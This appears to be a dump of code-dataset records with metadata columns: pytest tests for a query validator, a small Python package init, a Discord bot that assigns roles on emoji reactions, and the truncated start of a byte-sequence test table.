UdbIndex.validate_query({'a': UdbIndex})
@pytest.mark.udb_index
def test_should_validate_query_eq_gt_gte_lt_lte_ne_ops():
for op in ('$eq', '$gt', '$gte', '$lt', '$lte', '$ne'):
assert UdbIndex.validate_query({'a': {op: None}})
assert UdbIndex.validate_query({'a': {op: False}})
assert UdbIndex.validate_query({'a': {op: True}})
assert UdbIndex.validate_query({'a': {op: 0}})
assert UdbIndex.validate_query({'a': {op: 0.5}})
assert UdbIndex.validate_query({'a': {op: '0'}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: []}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: {}}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: UdbIndex}})
@pytest.mark.udb_index
def test_should_validate_query_in_nin_ops():
for op in ('$in', '$nin'):
assert UdbIndex.validate_query({'a': {op: [None]}})
assert UdbIndex.validate_query({'a': {op: [False]}})
assert UdbIndex.validate_query({'a': {op: [True]}})
assert UdbIndex.validate_query({'a': {op: [0]}})
assert UdbIndex.validate_query({'a': {op: [0.5]}})
assert UdbIndex.validate_query({'a': {op: ['0']}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: None}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: False}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: True}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: 0}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: 0.5}})
with pytest.raises(InvalidScanOperationValueError):
UdbIndex.validate_query({'a': {op: '0'}})
| 36.154762
| 63
| 0.649984
| 355
| 3,037
| 5.357746
| 0.140845
| 0.218717
| 0.320189
| 0.335436
| 0.89327
| 0.878549
| 0.774448
| 0.758149
| 0.712934
| 0.579916
| 0
| 0.00647
| 0.18571
| 3,037
| 83
| 64
| 36.590361
| 0.762636
| 0
| 0
| 0.271186
| 0
| 0
| 0.023708
| 0
| 0
| 0
| 0
| 0
| 0.338983
| 1
| 0.084746
| false
| 0
| 0.050847
| 0
| 0.135593
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
96adfafa1d30a6784394d8a1e564110a0a3652dc
| 78
|
py
|
Python
|
esmarc/__init__.py
|
slub/esmarc
|
ccca04cc5e2a9758fe3e1c61bc3f6178f7c15b49
|
[
"Apache-2.0"
] | null | null | null |
esmarc/__init__.py
|
slub/esmarc
|
ccca04cc5e2a9758fe3e1c61bc3f6178f7c15b49
|
[
"Apache-2.0"
] | 1
|
2020-04-30T11:54:10.000Z
|
2020-05-07T07:00:13.000Z
|
esmarc/__init__.py
|
slub/esmarc
|
ccca04cc5e2a9758fe3e1c61bc3f6178f7c15b49
|
[
"Apache-2.0"
] | null | null | null |
#from .swb_fix import *
from .esmarc import main
from .esmarc import entities
| 19.5
| 28
| 0.782051
| 12
| 78
| 5
| 0.583333
| 0.333333
| 0.533333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 78
| 3
| 29
| 26
| 0.909091
| 0.282051
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7393ebe6d3f738428e26f35bcbefc6f60209bda8
| 4,378
|
py
|
Python
|
pkgs/reaction.py
|
OnofreTZK/GhostBot
|
0d194d43ca4575720184e86e20b8971f0fffb540
|
[
"MIT"
] | null | null | null |
pkgs/reaction.py
|
OnofreTZK/GhostBot
|
0d194d43ca4575720184e86e20b8971f0fffb540
|
[
"MIT"
] | null | null | null |
pkgs/reaction.py
|
OnofreTZK/GhostBot
|
0d194d43ca4575720184e86e20b8971f0fffb540
|
[
"MIT"
] | null | null | null |
from .message import *
@client.event
async def on_reaction_add(reaction, user):
msg= reaction.message
# $roles ( add roles )
#---------------------------------------------------------------------------------------------
# this was hard to fixed, due to a good documentaton and, of course, Stack Overflow i was able to do.
if reaction.emoji == '☁️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Nuvem", msg.guild.roles)
# this is the only way that i found to get a Member...
# add_roles() it is a Member object method.
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).add_roles(role)
if reaction.emoji == '⚡' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Trovão", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).add_roles(role)
if reaction.emoji == '🌩' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Tempestade", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).add_roles(role)
if reaction.emoji == '🌫️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Névoa", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).add_roles(role)
if reaction.emoji == '🌧️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Chuva", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).add_roles(role)
if reaction.emoji == '☀️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Sol", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).add_roles(role)
#---------------------------------------------------------------------------------------------
@client.event
async def on_reaction_remove(reaction, user):
msg= reaction.message
# $roles ( remove role )
#---------------------------------------------------------------------------------------------
if reaction.emoji == '☁️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Nuvem", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).remove_roles(role)
if reaction.emoji == '⚡' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Trovão", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).remove_roles(role)
if reaction.emoji == '🌩' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Tempestade", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).remove_roles(role)
if reaction.emoji == '🌫️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Névoa", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).remove_roles(role)
if reaction.emoji == '🌧️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Chuva", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).remove_roles(role)
if reaction.emoji == '☀️' and msg.id == StateManager.get_msg_id() and user.id == StateManager.get_user_id():
role = discord.utils.find(lambda r : r.name == "Sol", msg.guild.roles)
await discord.utils.find(lambda m: m.id == user.id, msg.guild.members).remove_roles(role)
#---------------------------------------------------------------------------------------------
| 63.449275
| 112
| 0.605756
| 625
| 4,378
| 4.1712
| 0.1104
| 0.082854
| 0.156502
| 0.202532
| 0.927503
| 0.927503
| 0.878404
| 0.878404
| 0.878404
| 0.878404
| 0
| 0
| 0.166058
| 4,378
| 68
| 113
| 64.382353
| 0.708573
| 0.139333
| 0
| 0.930233
| 0
| 0
| 0.023417
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.023256
| 0
| 0.023256
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fb483e646590cd4cd00123fe9bfcaf9281cafc04
| 53,259
|
py
|
Python
|
test_files/uctable_Cs.py
|
garrettluu/js-adler32
|
b40011c6f76bb2a0b78126fc8412ff380c905dcd
|
[
"Apache-2.0"
] | 224
|
2015-01-07T06:06:33.000Z
|
2022-03-29T08:52:49.000Z
|
test_files/uctable_Cs.py
|
stof/js-adler32
|
b7700fd5fa4c1ecfb4e67d20ed0248154940fcdb
|
[
"Apache-2.0"
] | 18
|
2015-05-06T22:30:17.000Z
|
2022-03-30T18:15:51.000Z
|
test_files/uctable_Cs.py
|
stof/js-adler32
|
b7700fd5fa4c1ecfb4e67d20ed0248154940fcdb
|
[
"Apache-2.0"
] | 38
|
2015-01-28T03:34:17.000Z
|
2022-02-10T03:28:14.000Z
|
uctable = [ [ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
